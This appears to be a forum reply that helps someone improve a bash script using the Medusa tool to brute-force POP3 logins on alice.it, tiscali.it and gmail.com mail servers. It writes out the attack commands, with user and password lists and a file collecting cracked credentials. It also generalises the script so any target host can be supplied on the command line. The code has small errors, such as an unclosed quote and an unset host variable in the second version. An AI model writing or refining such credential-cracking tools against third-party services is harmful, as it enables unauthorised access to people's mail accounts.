A couple of tips: instead of calling medusa for each host in each case, just get the host using case and pass that to medusa. There's also no need to >root.txt if you're just going to rm it in the next line.
Code:
host=""
echo -n ' mail server to attack A(alice.it) or T(tiscali.it) or G(gmail.com) ? '
read mail
case $mail in
A) host="in.alice.it ;;
T) host="pop.tiscali.it";;
G) host="gmail.com";;
*)
sleep 1
echo " ****COMMAND NOT SUPPORTED**** "
esac
rm crack.txt
xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3
xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"
Since host is the only variable that changes (from what I can tell in your script), then the above should work just fine.
If you want to make your code even more concise and support more hosts without having to change the script, consider passing the host as the parameter to the script:
Code:
#!/bin/bash
if [[ -z ${1} ]]; then
echo "usage: `basename ${0}` host"
exit 0
fi
rm crack.txt
xterm -geometry 94x12-0+0 -bg blue -fg white -T "MEDUSA" -e medusa -h ${host} -n 995 -s -e ns -U user.txt -O /root/crack.txt -P pass.txt -f -M pop3
xterm -geometry 94x12-0+0 -bg blue -fg white -T "crack.txt" -e tail -f crack.txt | grep FOUND | sleep 1 | echo "ATTACK-FINISHED" | echo " BYE look at crack.txt-window"
Now you're not limited to the three hosts you hardcoded, and anyone who uses your script can specify their own target through the command line:
hackount.sh example.com
Good luck.